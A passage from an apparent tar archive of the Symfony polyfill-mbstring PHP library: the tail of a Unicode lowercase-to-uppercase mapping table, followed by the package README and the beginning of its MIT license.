'Ḛ', 'ḝ' => 'Ḝ', 'ḟ' => 'Ḟ', 'ḡ' => 'Ḡ', 'ḣ' => 'Ḣ', 'ḥ' => 'Ḥ', 'ḧ' => 'Ḧ', 'ḩ' => 'Ḩ', 'ḫ' => 'Ḫ', 'ḭ' => 'Ḭ', 'ḯ' => 'Ḯ', 'ḱ' => 'Ḱ', 'ḳ' => 'Ḳ', 'ḵ' => 'Ḵ', 'ḷ' => 'Ḷ', 'ḹ' => 'Ḹ', 'ḻ' => 'Ḻ', 'ḽ' => 'Ḽ', 'ḿ' => 'Ḿ', 'ṁ' => 'Ṁ', 'ṃ' => 'Ṃ', 'ṅ' => 'Ṅ', 'ṇ' => 'Ṇ', 'ṉ' => 'Ṉ', 'ṋ' => 'Ṋ', 'ṍ' => 'Ṍ', 'ṏ' => 'Ṏ', 'ṑ' => 'Ṑ', 'ṓ' => 'Ṓ', 'ṕ' => 'Ṕ', 'ṗ' => 'Ṗ', 'ṙ' => 'Ṙ', 'ṛ' => 'Ṛ', 'ṝ' => 'Ṝ', 'ṟ' => 'Ṟ', 'ṡ' => 'Ṡ', 'ṣ' => 'Ṣ', 'ṥ' => 'Ṥ', 'ṧ' => 'Ṧ', 'ṩ' => 'Ṩ', 'ṫ' => 'Ṫ', 'ṭ' => 'Ṭ', 'ṯ' => 'Ṯ', 'ṱ' => 'Ṱ', 'ṳ' => 'Ṳ', 'ṵ' => 'Ṵ', 'ṷ' => 'Ṷ', 'ṹ' => 'Ṹ', 'ṻ' => 'Ṻ', 'ṽ' => 'Ṽ', 'ṿ' => 'Ṿ', 'ẁ' => 'Ẁ', 'ẃ' => 'Ẃ', 'ẅ' => 'Ẅ', 'ẇ' => 'Ẇ', 'ẉ' => 'Ẉ', 'ẋ' => 'Ẋ', 'ẍ' => 'Ẍ', 'ẏ' => 'Ẏ', 'ẑ' => 'Ẑ', 'ẓ' => 'Ẓ', 'ẕ' => 'Ẕ', 'ẛ' => 'Ṡ', 'ạ' => 'Ạ', 'ả' => 'Ả', 'ấ' => 'Ấ', 'ầ' => 'Ầ', 'ẩ' => 'Ẩ', 'ẫ' => 'Ẫ', 'ậ' => 'Ậ', 'ắ' => 'Ắ', 'ằ' => 'Ằ', 'ẳ' => 'Ẳ', 'ẵ' => 'Ẵ', 'ặ' => 'Ặ', 'ẹ' => 'Ẹ', 'ẻ' => 'Ẻ', 'ẽ' => 'Ẽ', 'ế' => 'Ế', 'ề' => 'Ề', 'ể' => 'Ể', 'ễ' => 'Ễ', 'ệ' => 'Ệ', 'ỉ' => 'Ỉ', 'ị' => 'Ị', 'ọ' => 'Ọ', 'ỏ' => 'Ỏ', 'ố' => 'Ố', 'ồ' => 'Ồ', 'ổ' => 'Ổ', 'ỗ' => 'Ỗ', 'ộ' => 'Ộ', 'ớ' => 'Ớ', 'ờ' => 'Ờ', 'ở' => 'Ở', 'ỡ' => 'Ỡ', 'ợ' => 'Ợ', 'ụ' => 'Ụ', 'ủ' => 'Ủ', 'ứ' => 'Ứ', 'ừ' => 'Ừ', 'ử' => 'Ử', 'ữ' => 'Ữ', 'ự' => 'Ự', 'ỳ' => 'Ỳ', 'ỵ' => 'Ỵ', 'ỷ' => 'Ỷ', 'ỹ' => 'Ỹ', 'ỻ' => 'Ỻ', 'ỽ' => 'Ỽ', 'ỿ' => 'Ỿ', 'ἀ' => 'Ἀ', 'ἁ' => 'Ἁ', 'ἂ' => 'Ἂ', 'ἃ' => 'Ἃ', 'ἄ' => 'Ἄ', 'ἅ' => 'Ἅ', 'ἆ' => 'Ἆ', 'ἇ' => 'Ἇ', 'ἐ' => 'Ἐ', 'ἑ' => 'Ἑ', 'ἒ' => 'Ἒ', 'ἓ' => 'Ἓ', 'ἔ' => 'Ἔ', 'ἕ' => 'Ἕ', 'ἠ' => 'Ἠ', 'ἡ' => 'Ἡ', 'ἢ' => 'Ἢ', 'ἣ' => 'Ἣ', 'ἤ' => 'Ἤ', 'ἥ' => 'Ἥ', 'ἦ' => 'Ἦ', 'ἧ' => 'Ἧ', 'ἰ' => 'Ἰ', 'ἱ' => 'Ἱ', 'ἲ' => 'Ἲ', 'ἳ' => 'Ἳ', 'ἴ' => 'Ἴ', 'ἵ' => 'Ἵ', 'ἶ' => 'Ἶ', 'ἷ' => 'Ἷ', 'ὀ' => 'Ὀ', 'ὁ' => 'Ὁ', 'ὂ' => 'Ὂ', 'ὃ' => 'Ὃ', 'ὄ' => 'Ὄ', 'ὅ' => 'Ὅ', 'ὑ' => 'Ὑ', 'ὓ' => 'Ὓ', 'ὕ' => 'Ὕ', 'ὗ' => 'Ὗ', 'ὠ' => 'Ὠ', 'ὡ' => 'Ὡ', 'ὢ' => 'Ὢ', 'ὣ' => 'Ὣ', 'ὤ' => 'Ὤ', 'ὥ' => 'Ὥ', 'ὦ' => 'Ὦ', 'ὧ' => 'Ὧ', 'ὰ' => 'Ὰ', 'ά' => 'Ά', 'ὲ' => 'Ὲ', 'έ' => 'Έ', 'ὴ' => 'Ὴ', 'ή' => 'Ή', 'ὶ' => 'Ὶ', 'ί' => 'Ί', 'ὸ' => 'Ὸ', 'ό' => 'Ό', 'ὺ' => 'Ὺ', 'ύ' => 'Ύ', 'ὼ' => 'Ὼ', 'ώ' => 'Ώ', 'ᾀ' => 'ἈΙ', 'ᾁ' => 'ἉΙ', 'ᾂ' => 'ἊΙ', 'ᾃ' => 'ἋΙ', 'ᾄ' => 'ἌΙ', 'ᾅ' => 'ἍΙ', 'ᾆ' => 'ἎΙ', 'ᾇ' => 'ἏΙ', 'ᾐ' => 'ἨΙ', 'ᾑ' => 'ἩΙ', 'ᾒ' => 'ἪΙ', 'ᾓ' => 'ἫΙ', 'ᾔ' => 'ἬΙ', 'ᾕ' => 'ἭΙ', 'ᾖ' => 'ἮΙ', 'ᾗ' => 'ἯΙ', 'ᾠ' => 'ὨΙ', 'ᾡ' => 'ὩΙ', 'ᾢ' => 'ὪΙ', 'ᾣ' => 'ὫΙ', 'ᾤ' => 'ὬΙ', 'ᾥ' => 'ὭΙ', 'ᾦ' => 'ὮΙ', 'ᾧ' => 'ὯΙ', 'ᾰ' => 'Ᾰ', 'ᾱ' => 'Ᾱ', 'ᾳ' => 'ΑΙ', 'ι' => 'Ι', 'ῃ' => 'ΗΙ', 'ῐ' => 'Ῐ', 'ῑ' => 'Ῑ', 'ῠ' => 'Ῠ', 'ῡ' => 'Ῡ', 'ῥ' => 'Ῥ', 'ῳ' => 'ΩΙ', 'ⅎ' => 'Ⅎ', 'ⅰ' => 'Ⅰ', 'ⅱ' => 'Ⅱ', 'ⅲ' => 'Ⅲ', 'ⅳ' => 'Ⅳ', 'ⅴ' => 'Ⅴ', 'ⅵ' => 'Ⅵ', 'ⅶ' => 'Ⅶ', 'ⅷ' => 'Ⅷ', 'ⅸ' => 'Ⅸ', 'ⅹ' => 'Ⅹ', 'ⅺ' => 'Ⅺ', 'ⅻ' => 'Ⅻ', 'ⅼ' => 'Ⅼ', 'ⅽ' => 'Ⅽ', 'ⅾ' => 'Ⅾ', 'ⅿ' => 'Ⅿ', 'ↄ' => 'Ↄ', 'ⓐ' => 'Ⓐ', 'ⓑ' => 'Ⓑ', 'ⓒ' => 'Ⓒ', 'ⓓ' => 'Ⓓ', 'ⓔ' => 'Ⓔ', 'ⓕ' => 'Ⓕ', 'ⓖ' => 'Ⓖ', 'ⓗ' => 'Ⓗ', 'ⓘ' => 'Ⓘ', 'ⓙ' => 'Ⓙ', 'ⓚ' => 'Ⓚ', 'ⓛ' => 'Ⓛ', 'ⓜ' => 'Ⓜ', 'ⓝ' => 'Ⓝ', 'ⓞ' => 'Ⓞ', 'ⓟ' => 'Ⓟ', 'ⓠ' => 'Ⓠ', 'ⓡ' => 'Ⓡ', 'ⓢ' => 'Ⓢ', 'ⓣ' => 'Ⓣ', 'ⓤ' => 'Ⓤ', 'ⓥ' => 'Ⓥ', 'ⓦ' => 'Ⓦ', 'ⓧ' => 'Ⓧ', 'ⓨ' => 'Ⓨ', 'ⓩ' => 'Ⓩ', 'ⰰ' => 'Ⰰ', 'ⰱ' => 'Ⰱ', 'ⰲ' => 'Ⰲ', 'ⰳ' => 'Ⰳ', 'ⰴ' => 'Ⰴ', 'ⰵ' => 'Ⰵ', 'ⰶ' => 'Ⰶ', 'ⰷ' => 'Ⰷ', 'ⰸ' => 'Ⰸ', 'ⰹ' => 'Ⰹ', 'ⰺ' => 'Ⰺ', 'ⰻ' => 'Ⰻ', 'ⰼ' => 'Ⰼ', 'ⰽ' => 'Ⰽ', 'ⰾ' => 'Ⰾ', 'ⰿ' => 'Ⰿ', 'ⱀ' => 'Ⱀ', 'ⱁ' => 'Ⱁ', 'ⱂ' => 'Ⱂ', 'ⱃ' => 'Ⱃ', 'ⱄ' => 'Ⱄ', 'ⱅ' => 'Ⱅ', 'ⱆ' => 'Ⱆ', 'ⱇ' => 'Ⱇ', 'ⱈ' => 'Ⱈ', 'ⱉ' => 'Ⱉ', 'ⱊ' => 'Ⱊ', 'ⱋ' => 'Ⱋ', 'ⱌ' => 'Ⱌ', 'ⱍ' => 'Ⱍ', 'ⱎ' => 'Ⱎ', 'ⱏ' => 'Ⱏ', 'ⱐ' => 'Ⱐ', 'ⱑ' => 'Ⱑ', 'ⱒ' => 'Ⱒ', 'ⱓ' => 'Ⱓ', 'ⱔ' => 'Ⱔ', 'ⱕ' => 'Ⱕ', 'ⱖ' => 'Ⱖ', 'ⱗ' => 'Ⱗ', 'ⱘ' => 'Ⱘ', 'ⱙ' => 'Ⱙ', 'ⱚ' => 'Ⱚ', 'ⱛ' => 'Ⱛ', 'ⱜ' => 'Ⱜ', 'ⱝ' => 'Ⱝ', 'ⱞ' => 'Ⱞ', 'ⱡ' => 'Ⱡ', 'ⱥ' => 'Ⱥ', 'ⱦ' => 'Ⱦ', 'ⱨ' => 'Ⱨ', 'ⱪ' => 'Ⱪ', 'ⱬ' => 'Ⱬ', 'ⱳ' => 'Ⱳ', 'ⱶ' => 'Ⱶ', 'ⲁ' => 'Ⲁ', 'ⲃ' => 'Ⲃ', 'ⲅ' => 'Ⲅ', 'ⲇ' => 'Ⲇ', 'ⲉ' => 'Ⲉ', 'ⲋ' => 'Ⲋ', 'ⲍ' => 'Ⲍ', 'ⲏ' => 'Ⲏ', 'ⲑ' => 'Ⲑ', 'ⲓ' => 'Ⲓ', 'ⲕ' => 'Ⲕ', 'ⲗ' => 'Ⲗ', 'ⲙ' => 'Ⲙ', 'ⲛ' => 'Ⲛ', 'ⲝ' => 'Ⲝ', 'ⲟ' => 'Ⲟ', 'ⲡ' => 'Ⲡ', 'ⲣ' => 'Ⲣ', 'ⲥ' => 'Ⲥ', 'ⲧ' => 'Ⲧ', 'ⲩ' => 'Ⲩ', 'ⲫ' => 'Ⲫ', 'ⲭ' => 'Ⲭ', 'ⲯ' => 'Ⲯ', 'ⲱ' => 'Ⲱ', 'ⲳ' => 'Ⲳ', 'ⲵ' => 'Ⲵ', 'ⲷ' => 'Ⲷ', 'ⲹ' => 'Ⲹ', 'ⲻ' => 'Ⲻ', 'ⲽ' => 'Ⲽ', 'ⲿ' => 'Ⲿ', 'ⳁ' => 'Ⳁ', 'ⳃ' => 'Ⳃ', 'ⳅ' => 'Ⳅ', 'ⳇ' => 'Ⳇ', 'ⳉ' => 'Ⳉ', 'ⳋ' => 'Ⳋ', 'ⳍ' => 'Ⳍ', 'ⳏ' => 'Ⳏ', 'ⳑ' => 'Ⳑ', 'ⳓ' => 'Ⳓ', 'ⳕ' => 'Ⳕ', 'ⳗ' => 'Ⳗ', 'ⳙ' => 'Ⳙ', 'ⳛ' => 'Ⳛ', 'ⳝ' => 'Ⳝ', 'ⳟ' => 'Ⳟ', 'ⳡ' => 'Ⳡ', 'ⳣ' => 'Ⳣ', 'ⳬ' => 'Ⳬ', 'ⳮ' => 'Ⳮ', 'ⳳ' => 'Ⳳ', 'ⴀ' => 'Ⴀ', 'ⴁ' => 'Ⴁ', 'ⴂ' => 'Ⴂ', 'ⴃ' => 'Ⴃ', 'ⴄ' => 'Ⴄ', 'ⴅ' => 'Ⴅ', 'ⴆ' => 'Ⴆ', 'ⴇ' => 'Ⴇ', 'ⴈ' => 'Ⴈ', 'ⴉ' => 'Ⴉ', 'ⴊ' => 'Ⴊ', 'ⴋ' => 'Ⴋ', 'ⴌ' => 'Ⴌ', 'ⴍ' => 'Ⴍ', 'ⴎ' => 'Ⴎ', 'ⴏ' => 'Ⴏ', 'ⴐ' => 'Ⴐ', 'ⴑ' => 'Ⴑ', 'ⴒ' => 'Ⴒ', 'ⴓ' => 'Ⴓ', 'ⴔ' => 'Ⴔ', 'ⴕ' => 'Ⴕ', 'ⴖ' => 'Ⴖ', 'ⴗ' => 'Ⴗ', 'ⴘ' => 'Ⴘ', 'ⴙ' => 'Ⴙ', 'ⴚ' => 'Ⴚ', 'ⴛ' => 'Ⴛ', 'ⴜ' => 'Ⴜ', 'ⴝ' => 'Ⴝ', 'ⴞ' => 'Ⴞ', 'ⴟ' => 'Ⴟ', 'ⴠ' => 'Ⴠ', 'ⴡ' => 'Ⴡ', 'ⴢ' => 'Ⴢ', 'ⴣ' => 'Ⴣ', 'ⴤ' => 'Ⴤ', 'ⴥ' => 'Ⴥ', 'ⴧ' => 'Ⴧ', 'ⴭ' => 'Ⴭ', 'ꙁ' => 'Ꙁ', 'ꙃ' => 'Ꙃ', 'ꙅ' => 'Ꙅ', 'ꙇ' => 'Ꙇ', 'ꙉ' => 'Ꙉ', 'ꙋ' => 'Ꙋ', 'ꙍ' => 'Ꙍ', 'ꙏ' => 'Ꙏ', 'ꙑ' => 'Ꙑ', 'ꙓ' => 'Ꙓ', 'ꙕ' => 'Ꙕ', 'ꙗ' => 'Ꙗ', 'ꙙ' => 'Ꙙ', 'ꙛ' => 'Ꙛ', 'ꙝ' => 'Ꙝ', 'ꙟ' => 'Ꙟ', 'ꙡ' => 'Ꙡ', 'ꙣ' => 'Ꙣ', 'ꙥ' => 'Ꙥ', 'ꙧ' => 'Ꙧ', 'ꙩ' => 'Ꙩ', 'ꙫ' => 'Ꙫ', 'ꙭ' => 'Ꙭ', 'ꚁ' => 'Ꚁ', 'ꚃ' => 'Ꚃ', 'ꚅ' => 'Ꚅ', 'ꚇ' => 'Ꚇ', 'ꚉ' => 'Ꚉ', 'ꚋ' => 'Ꚋ', 'ꚍ' => 'Ꚍ', 'ꚏ' => 'Ꚏ', 'ꚑ' => 'Ꚑ', 'ꚓ' => 'Ꚓ', 'ꚕ' => 'Ꚕ', 'ꚗ' => 'Ꚗ', 'ꚙ' => 'Ꚙ', 'ꚛ' => 'Ꚛ', 'ꜣ' => 'Ꜣ', 'ꜥ' => 'Ꜥ', 'ꜧ' => 'Ꜧ', 'ꜩ' => 'Ꜩ', 'ꜫ' => 'Ꜫ', 'ꜭ' => 'Ꜭ', 'ꜯ' => 'Ꜯ', 'ꜳ' => 'Ꜳ', 'ꜵ' => 'Ꜵ', 'ꜷ' => 'Ꜷ', 'ꜹ' => 'Ꜹ', 'ꜻ' => 'Ꜻ', 'ꜽ' => 'Ꜽ', 'ꜿ' => 'Ꜿ', 'ꝁ' => 'Ꝁ', 'ꝃ' => 'Ꝃ', 'ꝅ' => 'Ꝅ', 'ꝇ' => 'Ꝇ', 'ꝉ' => 'Ꝉ', 'ꝋ' => 'Ꝋ', 'ꝍ' => 'Ꝍ', 'ꝏ' => 'Ꝏ', 'ꝑ' => 'Ꝑ', 'ꝓ' => 'Ꝓ', 'ꝕ' => 'Ꝕ', 'ꝗ' => 'Ꝗ', 'ꝙ' => 'Ꝙ', 'ꝛ' => 'Ꝛ', 'ꝝ' => 'Ꝝ', 'ꝟ' => 'Ꝟ', 'ꝡ' => 'Ꝡ', 'ꝣ' => 'Ꝣ', 'ꝥ' => 'Ꝥ', 'ꝧ' => 'Ꝧ', 'ꝩ' => 'Ꝩ', 'ꝫ' => 'Ꝫ', 'ꝭ' => 'Ꝭ', 'ꝯ' => 'Ꝯ', 'ꝺ' => 'Ꝺ', 'ꝼ' => 'Ꝼ', 'ꝿ' => 'Ꝿ', 'ꞁ' => 'Ꞁ', 'ꞃ' => 'Ꞃ', 'ꞅ' => 'Ꞅ', 'ꞇ' => 'Ꞇ', 'ꞌ' => 'Ꞌ', 'ꞑ' => 'Ꞑ', 'ꞓ' => 'Ꞓ', 'ꞔ' => 'Ꞔ', 'ꞗ' => 'Ꞗ', 'ꞙ' => 'Ꞙ', 'ꞛ' => 'Ꞛ', 'ꞝ' => 'Ꞝ', 'ꞟ' => 'Ꞟ', 'ꞡ' => 'Ꞡ', 'ꞣ' => 'Ꞣ', 'ꞥ' => 'Ꞥ', 'ꞧ' => 'Ꞧ', 'ꞩ' => 'Ꞩ', 'ꞵ' => 'Ꞵ', 'ꞷ' => 'Ꞷ', 'ꞹ' => 'Ꞹ', 'ꞻ' => 'Ꞻ', 'ꞽ' => 'Ꞽ', 'ꞿ' => 'Ꞿ', 'ꟃ' => 'Ꟃ', 'ꟈ' => 'Ꟈ', 'ꟊ' => 'Ꟊ', 'ꟶ' => 'Ꟶ', 'ꭓ' => 'Ꭓ', 'ꭰ' => 'Ꭰ', 'ꭱ' => 'Ꭱ', 'ꭲ' => 'Ꭲ', 'ꭳ' => 'Ꭳ', 'ꭴ' => 'Ꭴ', 'ꭵ' => 'Ꭵ', 'ꭶ' => 'Ꭶ', 'ꭷ' => 'Ꭷ', 'ꭸ' => 'Ꭸ', 'ꭹ' => 'Ꭹ', 'ꭺ' => 'Ꭺ', 'ꭻ' => 'Ꭻ', 'ꭼ' => 'Ꭼ', 'ꭽ' => 'Ꭽ', 'ꭾ' => 'Ꭾ', 'ꭿ' => 'Ꭿ', 'ꮀ' => 'Ꮀ', 'ꮁ' => 'Ꮁ', 'ꮂ' => 'Ꮂ', 'ꮃ' => 'Ꮃ', 'ꮄ' => 'Ꮄ', 'ꮅ' => 'Ꮅ', 'ꮆ' => 'Ꮆ', 'ꮇ' => 'Ꮇ', 'ꮈ' => 'Ꮈ', 'ꮉ' => 'Ꮉ', 'ꮊ' => 'Ꮊ', 'ꮋ' => 'Ꮋ', 'ꮌ' => 'Ꮌ', 'ꮍ' => 'Ꮍ', 'ꮎ' => 'Ꮎ', 'ꮏ' => 'Ꮏ', 'ꮐ' => 'Ꮐ', 'ꮑ' => 'Ꮑ', 'ꮒ' => 'Ꮒ', 'ꮓ' => 'Ꮓ', 'ꮔ' => 'Ꮔ', 'ꮕ' => 'Ꮕ', 'ꮖ' => 'Ꮖ', 'ꮗ' => 'Ꮗ', 'ꮘ' => 'Ꮘ', 'ꮙ' => 'Ꮙ', 'ꮚ' => 'Ꮚ', 'ꮛ' => 'Ꮛ', 'ꮜ' => 'Ꮜ', 'ꮝ' => 'Ꮝ', 'ꮞ' => 'Ꮞ', 'ꮟ' => 'Ꮟ', 'ꮠ' => 'Ꮠ', 'ꮡ' => 'Ꮡ', 'ꮢ' => 'Ꮢ', 'ꮣ' => 'Ꮣ', 'ꮤ' => 'Ꮤ', 'ꮥ' => 'Ꮥ', 'ꮦ' => 'Ꮦ', 'ꮧ' => 'Ꮧ', 'ꮨ' => 'Ꮨ', 'ꮩ' => 'Ꮩ', 'ꮪ' => 'Ꮪ', 'ꮫ' => 'Ꮫ', 'ꮬ' => 'Ꮬ', 'ꮭ' => 'Ꮭ', 'ꮮ' => 'Ꮮ', 'ꮯ' => 'Ꮯ', 'ꮰ' => 'Ꮰ', 'ꮱ' => 'Ꮱ', 'ꮲ' => 'Ꮲ', 'ꮳ' => 'Ꮳ', 'ꮴ' => 'Ꮴ', 'ꮵ' => 'Ꮵ', 'ꮶ' => 'Ꮶ', 'ꮷ' => 'Ꮷ', 'ꮸ' => 'Ꮸ', 'ꮹ' => 'Ꮹ', 'ꮺ' => 'Ꮺ', 'ꮻ' => 'Ꮻ', 'ꮼ' => 'Ꮼ', 'ꮽ' => 'Ꮽ', 'ꮾ' => 'Ꮾ', 'ꮿ' => 'Ꮿ', 'a' => 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H', 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L', 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P', 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T', 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X', 'y' => 'Y', 'z' => 'Z', '𐐨' => '𐐀', '𐐩' => '𐐁', '𐐪' => '𐐂', '𐐫' => '𐐃', '𐐬' => '𐐄', '𐐭' => '𐐅', '𐐮' => '𐐆', '𐐯' => '𐐇', '𐐰' => '𐐈', '𐐱' => '𐐉', '𐐲' => '𐐊', '𐐳' => '𐐋', '𐐴' => '𐐌', '𐐵' => '𐐍', '𐐶' => '𐐎', '𐐷' => '𐐏', '𐐸' => '𐐐', '𐐹' => '𐐑', '𐐺' => '𐐒', '𐐻' => '𐐓', '𐐼' => '𐐔', '𐐽' => '𐐕', '𐐾' => '𐐖', '𐐿' => '𐐗', '𐑀' => '𐐘', '𐑁' => '𐐙', '𐑂' => '𐐚', '𐑃' => '𐐛', '𐑄' => '𐐜', '𐑅' => '𐐝', '𐑆' => '𐐞', '𐑇' => '𐐟', '𐑈' => '𐐠', '𐑉' => '𐐡', '𐑊' => '𐐢', '𐑋' => '𐐣', '𐑌' => '𐐤', '𐑍' => '𐐥', '𐑎' => '𐐦', '𐑏' => '𐐧', '𐓘' => '𐒰', '𐓙' => '𐒱', '𐓚' => '𐒲', '𐓛' => '𐒳', '𐓜' => '𐒴', '𐓝' => '𐒵', '𐓞' => '𐒶', '𐓟' => '𐒷', '𐓠' => '𐒸', '𐓡' => '𐒹', '𐓢' => '𐒺', '𐓣' => '𐒻', '𐓤' => '𐒼', '𐓥' => '𐒽', '𐓦' => '𐒾', '𐓧' => '𐒿', '𐓨' => '𐓀', '𐓩' => '𐓁', '𐓪' => '𐓂', '𐓫' => '𐓃', '𐓬' => '𐓄', '𐓭' => '𐓅', '𐓮' => '𐓆', '𐓯' => '𐓇', '𐓰' => '𐓈', '𐓱' => '𐓉', '𐓲' => '𐓊', '𐓳' => '𐓋', '𐓴' => '𐓌', '𐓵' => '𐓍', '𐓶' => '𐓎', '𐓷' => '𐓏', '𐓸' => '𐓐', '𐓹' => '𐓑', '𐓺' => '𐓒', '𐓻' => '𐓓', '𐳀' => '𐲀', '𐳁' => '𐲁', '𐳂' => '𐲂', '𐳃' => '𐲃', '𐳄' => '𐲄', '𐳅' => '𐲅', '𐳆' => '𐲆', '𐳇' => '𐲇', '𐳈' => '𐲈', '𐳉' => '𐲉', '𐳊' => '𐲊', '𐳋' => '𐲋', '𐳌' => '𐲌', '𐳍' => '𐲍', '𐳎' => '𐲎', '𐳏' => '𐲏', '𐳐' => '𐲐', '𐳑' => '𐲑', '𐳒' => '𐲒', '𐳓' => '𐲓', '𐳔' => '𐲔', '𐳕' => '𐲕', '𐳖' => '𐲖', '𐳗' => '𐲗', '𐳘' => '𐲘', '𐳙' => '𐲙', '𐳚' => '𐲚', '𐳛' => '𐲛', '𐳜' => '𐲜', '𐳝' => '𐲝', '𐳞' => '𐲞', '𐳟' => '𐲟', '𐳠' => '𐲠', '𐳡' => '𐲡', '𐳢' => '𐲢', '𐳣' => '𐲣', '𐳤' => '𐲤', '𐳥' => '𐲥', '𐳦' => '𐲦', '𐳧' => '𐲧', '𐳨' => '𐲨', '𐳩' => '𐲩', '𐳪' => '𐲪', '𐳫' => '𐲫', '𐳬' => '𐲬', '𐳭' => '𐲭', '𐳮' => '𐲮', '𐳯' => '𐲯', '𐳰' => '𐲰', '𐳱' => '𐲱', '𐳲' => '𐲲', '𑣀' => '𑢠', '𑣁' => '𑢡', '𑣂' => '𑢢', '𑣃' => '𑢣', '𑣄' => '𑢤', '𑣅' => '𑢥', '𑣆' => '𑢦', '𑣇' => '𑢧', '𑣈' => '𑢨', '𑣉' => '𑢩', '𑣊' => '𑢪', '𑣋' => '𑢫', '𑣌' => '𑢬', '𑣍' => '𑢭', '𑣎' => '𑢮', '𑣏' => '𑢯', '𑣐' => '𑢰', '𑣑' => '𑢱', '𑣒' => '𑢲', '𑣓' => '𑢳', '𑣔' => '𑢴', '𑣕' => '𑢵', '𑣖' => '𑢶', '𑣗' => '𑢷', '𑣘' => '𑢸', '𑣙' => '𑢹', '𑣚' => '𑢺', '𑣛' => '𑢻', '𑣜' => '𑢼', '𑣝' => '𑢽', '𑣞' => '𑢾', '𑣟' => '𑢿', '𖹠' => '𖹀', '𖹡' => '𖹁', '𖹢' => '𖹂', '𖹣' => '𖹃', '𖹤' => '𖹄', '𖹥' => '𖹅', '𖹦' => '𖹆', '𖹧' => '𖹇', '𖹨' => '𖹈', '𖹩' => '𖹉', '𖹪' => '𖹊', '𖹫' => '𖹋', '𖹬' => '𖹌', '𖹭' => '𖹍', '𖹮' => '𖹎', '𖹯' => '𖹏', '𖹰' => '𖹐', '𖹱' => '𖹑', '𖹲' => '𖹒', '𖹳' => '𖹓', '𖹴' => '𖹔', '𖹵' => '𖹕', '𖹶' => '𖹖', '𖹷' => '𖹗', '𖹸' => '𖹘', '𖹹' => '𖹙', '𖹺' => '𖹚', '𖹻' => '𖹛', '𖹼' => '𖹜', '𖹽' => '𖹝', '𖹾' => '𖹞', '𖹿' => '𖹟', '𞤢' => '𞤀', '𞤣' => '𞤁', '𞤤' => '𞤂', '𞤥' => '𞤃', '𞤦' => '𞤄', '𞤧' => '𞤅', '𞤨' => '𞤆', '𞤩' => '𞤇', '𞤪' => '𞤈', '𞤫' => '𞤉', '𞤬' => '𞤊', '𞤭' => '𞤋', '𞤮' => '𞤌', '𞤯' => '𞤍', '𞤰' => '𞤎', '𞤱' => '𞤏', '𞤲' => '𞤐', '𞤳' => '𞤑', '𞤴' => '𞤒', '𞤵' => '𞤓', '𞤶' => '𞤔', '𞤷' => '𞤕', '𞤸' => '𞤖', '𞤹' => '𞤗', '𞤺' => '𞤘', '𞤻' => '𞤙', '𞤼' => '𞤚', '𞤽' => '𞤛', '𞤾' => '𞤜', '𞤿' => '𞤝', '𞥀' => '𞤞', '𞥁' => '𞤟', '𞥂' => '𞤠', '𞥃' => '𞤡', 'ß' => 'SS', 'ff' => 'FF', 'fi' => 'FI', 'fl' => 'FL', 'ffi' => 'FFI', 'ffl' => 'FFL', 'ſt' => 'ST', 'st' => 'ST', 'և' => 'ԵՒ', 'ﬓ' => 'ՄՆ', 'ﬔ' => 'ՄԵ', 'ﬕ' => 'ՄԻ', 'ﬖ' => 'ՎՆ', 'ﬗ' => 'ՄԽ', 'ʼn' => 'ʼN', 'ΐ' => 'Ϊ́', 'ΰ' => 'Ϋ́', 'ǰ' => 'J̌', 'ẖ' => 'H̱', 'ẗ' => 'T̈', 'ẘ' => 'W̊', 'ẙ' => 'Y̊', 'ẚ' => 'Aʾ', 'ὐ' => 'Υ̓', 'ὒ' => 'Υ̓̀', 'ὔ' => 'Υ̓́', 'ὖ' => 'Υ̓͂', 'ᾶ' => 'Α͂', 'ῆ' => 'Η͂', 'ῒ' => 'Ϊ̀', 'ΐ' => 'Ϊ́', 'ῖ' => 'Ι͂', 'ῗ' => 'Ϊ͂', 'ῢ' => 'Ϋ̀', 'ΰ' => 'Ϋ́', 'ῤ' => 'Ρ̓', 'ῦ' => 'Υ͂', 'ῧ' => 'Ϋ͂', 'ῶ' => 'Ω͂', 'ᾈ' => 'ἈΙ', 'ᾉ' => 'ἉΙ', 'ᾊ' => 'ἊΙ', 'ᾋ' => 'ἋΙ', 'ᾌ' => 'ἌΙ', 'ᾍ' => 'ἍΙ', 'ᾎ' => 'ἎΙ', 'ᾏ' => 'ἏΙ', 'ᾘ' => 'ἨΙ', 'ᾙ' => 'ἩΙ', 'ᾚ' => 'ἪΙ', 'ᾛ' => 'ἫΙ', 'ᾜ' => 'ἬΙ', 'ᾝ' => 'ἭΙ', 'ᾞ' => 'ἮΙ', 'ᾟ' => 'ἯΙ', 'ᾨ' => 'ὨΙ', 'ᾩ' => 'ὩΙ', 'ᾪ' => 'ὪΙ', 'ᾫ' => 'ὫΙ', 'ᾬ' => 'ὬΙ', 'ᾭ' => 'ὭΙ', 'ᾮ' => 'ὮΙ', 'ᾯ' => 'ὯΙ', 'ᾼ' => 'ΑΙ', 'ῌ' => 'ΗΙ', 'ῼ' => 'ΩΙ', 'ᾲ' => 'ᾺΙ', 'ᾴ' => 'ΆΙ', 'ῂ' => 'ῊΙ', 'ῄ' => 'ΉΙ', 'ῲ' => 'ῺΙ', 'ῴ' => 'ΏΙ', 'ᾷ' => 'Α͂Ι', 'ῇ' => 'Η͂Ι', 'ῷ' => 'Ω͂Ι', ); polyfill-mbstring/README.md000064400000000562151113512120011473 0ustar00Symfony Polyfill / Mbstring =========================== This component provides a partial, native PHP implementation for the [Mbstring](https://php.net/mbstring) extension. More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). polyfill-mbstring/LICENSE000064400000002054151113512120011217 0ustar00Copyright (c) 2015-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN 